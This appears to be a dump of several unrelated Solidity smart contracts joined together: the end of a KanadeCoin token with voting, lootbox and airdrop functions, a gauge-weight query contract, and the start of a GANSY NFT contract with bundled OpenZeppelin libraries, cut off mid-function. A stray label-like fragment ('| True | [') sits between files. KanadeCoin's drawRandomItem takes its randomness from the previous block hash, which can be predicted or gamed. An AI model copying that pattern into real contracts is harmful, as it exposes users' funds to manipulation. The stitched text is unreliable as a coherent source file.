* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract KanadeCoin is StandardToken, Ownable {
using SafeMath for uint256;
struct VoteStruct {
uint128 number;
uint256 amount;
address from;
uint128 time;
}
struct QuestionStruct {
uint8 isStarted;
address recipient;
uint128 finish;
uint under;
VoteStruct[] votes;
}
struct RandomBoxStruct {
uint8 isStarted;
address recipient;
uint64 volume;
uint256 amount;
uint128 finish;
}
struct RandomItemStruct {
mapping(bytes32 => uint256[]) values;
}
address public constant addrDevTeam = 0x4d85FCF252c02FA849258f16c5464aF529ebFA5F; // 1%
address public constant addrLockUp = 0x0101010101010101010101010101010101010101; // 9%
address public constant addrBounty = 0x3CCDb82F43EEF681A39AE854Be37ad1C40446F0d; // 25%
address public constant addrDistribution = 0x9D6FB734a716306a9575E3ce971AB8839eDcEdF3; // 10%
address public constant addrAirDrop = 0xD6A4ce07f18619Ec73f91CcDbefcCE53f048AE05; // 55%
uint public constant atto = 100000000;
uint public constant decimals = 8;
string public constant name = "KanadeCoin";
string public constant symbol = "KNDC";
uint public contractStartTime;
uint64 public constant lockupSeconds = 60 * 60 * 24 * 365 * 3;
mapping(bytes32 => QuestionStruct) questions;
mapping(address => string) saveData;
mapping(bytes32 => RandomBoxStruct) randomBoxes;
mapping(address => RandomItemStruct) randomItems;
constructor() public {
}
function initializeContract() onlyOwner public {
if (totalSupply_ != 0) return;
contractStartTime = now;
balances[addrDevTeam] = 10000000000 * 0.01 * atto;
balances[addrLockUp] = 10000000000 * 0.09 * atto;
balances[addrBounty] = 10000000000 * 0.25 * atto;
balances[addrDistribution] = 10000000000 * 0.10 * atto;
balances[addrAirDrop] = 10000000000 * 0.55 * atto;
Transfer(0x0, addrDevTeam, balances[addrDevTeam]);
Transfer(0x0, addrLockUp, balances[addrLockUp]);
Transfer(0x0, addrBounty, balances[addrBounty]);
Transfer(0x0, addrDistribution, balances[addrDistribution]);
Transfer(0x0, addrAirDrop, balances[addrAirDrop]);
totalSupply_ = 10000000000 * atto;
}
////////////////////////////////////////////////////////////////////////
function unLockup() onlyOwner public {
require(uint256(now).sub(lockupSeconds) > contractStartTime);
uint _amount = balances[addrLockUp];
balances[addrLockUp] = balances[addrLockUp].sub(_amount);
balances[addrDevTeam] = balances[addrDevTeam].add(_amount);
Transfer(addrLockUp, addrDevTeam, _amount);
}
////////////////////////////////////////////////////////////////////////
function createQuestion(string _id_max32, address _recipient, uint128 _finish, uint _under) public {
bytes32 _idByte = keccak256(_id_max32);
require(questions[_idByte].isStarted == 0);
transfer(addrBounty, 5000 * atto);
questions[_idByte].isStarted = 1;
questions[_idByte].recipient = _recipient;
questions[_idByte].finish = _finish;
questions[_idByte].under = _under;
}
function getQuestion(string _id_max32) constant public returns (uint[4]) {
bytes32 _idByte = keccak256(_id_max32);
uint[4] values;
values[0] = questions[_idByte].isStarted;
values[1] = uint(questions[_idByte].recipient);
values[2] = questions[_idByte].finish;
values[3] = questions[_idByte].under;
return values;
}
function vote(string _id_max32, uint128 _number, uint _amount) public {
bytes32 _idByte = keccak256(_id_max32);
require(
questions[_idByte].isStarted == 1 &&
questions[_idByte].under <= _amount &&
questions[_idByte].finish >= uint128(now));
if (_amount > 0) {
transfer(questions[_idByte].recipient, _amount);
}
questions[_idByte].votes.push(VoteStruct(_number, _amount, msg.sender, uint128(now)));
}
function getQuestionVotesAllCount(string _id_max32) constant public returns (uint) {
return questions[keccak256(_id_max32)].votes.length;
}
function getQuestionVote(string _id_max32, uint _position) constant public returns (uint[4]) {
bytes32 _idByte = keccak256(_id_max32);
uint[4] values;
values[0] = questions[_idByte].votes[_position].number;
values[1] = questions[_idByte].votes[_position].amount;
values[2] = uint(questions[_idByte].votes[_position].from);
values[3] = questions[_idByte].votes[_position].time;
return values;
}
////////////////////////////////////////////////////////////////////////
function putSaveData(string _text) public {
saveData[msg.sender] = _text;
}
function getSaveData(address _address) constant public returns (string) {
return saveData[_address];
}
////////////////////////////////////////////////////////////////////////
function createRandomBox(string _id_max32, address _recipient, uint64 _volume, uint256 _amount, uint128 _finish) public {
require(_volume > 0);
bytes32 _idByte = keccak256(_id_max32);
require(randomBoxes[_idByte].isStarted == 0);
transfer(addrBounty, 5000 * atto);
randomBoxes[_idByte].isStarted = 1;
randomBoxes[_idByte].recipient = _recipient;
randomBoxes[_idByte].volume = _volume;
randomBoxes[_idByte].amount = _amount;
randomBoxes[_idByte].finish = _finish;
}
function getRandomBox(string _id_max32) constant public returns (uint[5]) {
bytes32 _idByte = keccak256(_id_max32);
uint[5] values;
values[0] = randomBoxes[_idByte].isStarted;
values[1] = uint(randomBoxes[_idByte].recipient);
values[2] = randomBoxes[_idByte].volume;
values[3] = randomBoxes[_idByte].amount;
values[4] = randomBoxes[_idByte].finish;
return values;
}
function drawRandomItem(string _id_max32, uint _count) public {
require(_count > 0 && _count <= 1000);
bytes32 _idByte = keccak256(_id_max32);
uint _totalAmount = randomBoxes[_idByte].amount.mul(_count);
require(
randomBoxes[_idByte].isStarted == 1 &&
randomBoxes[_idByte].finish >= uint128(now));
transfer(randomBoxes[_idByte].recipient, _totalAmount);
for (uint i = 0; i < _count; i++) {
uint randomVal = uint(
keccak256(blockhash(block.number-1), randomItems[msg.sender].values[_idByte].length))
% randomBoxes[_idByte].volume;
randomItems[msg.sender].values[_idByte].push(randomVal);
}
}
function getRandomItems(address _addrss, string _id_max32) constant public returns (uint[]) {
return randomItems[_addrss].values[keccak256(_id_max32)];
}
////////////////////////////////////////////////////////////////////////
function airDrop(address[] _recipients, uint[] _values) onlyOwner public returns (bool) {
return distribute(addrAirDrop, _recipients, _values);
}
function rain(address[] _recipients, uint[] _values) public returns (bool) {
return distribute(msg.sender, _recipients, _values);
}
function distribute(address _from, address[] _recipients, uint[] _values) internal returns (bool) {
require(_recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++) {
total = total.add(_values[i]);
}
require(total <= balances[_from]);
for(uint j = 0; j < _recipients.length; j++) {
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
Transfer(_from, _recipients[j], _values[j]);
}
balances[_from] = balances[_from].sub(total);
return true;
}
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// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
interface IGaugeController {
function checkpoint_gauge(address gauge) external;
function gauge_relative_weight(address gauge) external view returns (uint256);
}
contract GaugeControllerQuerier {
IGaugeController public immutable GAUGE_CONTROLLER;
constructor (address gaugeController) {
GAUGE_CONTROLLER = IGaugeController(gaugeController);
}
/**
* @dev Manually edit the ABI to have this function be view.
*/
function gauge_relative_weight(address gauge) external returns (uint256) {
GAUGE_CONTROLLER.checkpoint_gauge(gauge);
return GAUGE_CONTROLLER.gauge_relative_weight(gauge);
}
} | True | [
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/**************************************************************
/*
/* ________ _____ _______ ______________.___.
/* / _____/ / _ \ \ \ / _____/\__ | |
/* / \ ___ / /_\ \ / | \ \_____ \ / | |
/* \ \_\ \/ | \/ | \ / \ \____ |
/* \______ /\____|__ /\____|__ //_______ / / ______|
/* \/ \/ \/ \/ \/
/* The official GANSY ERC-721 Smart Contract
/*
**************************************************************/
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.0 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
// OpenZeppelin Contracts v4.4.0 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
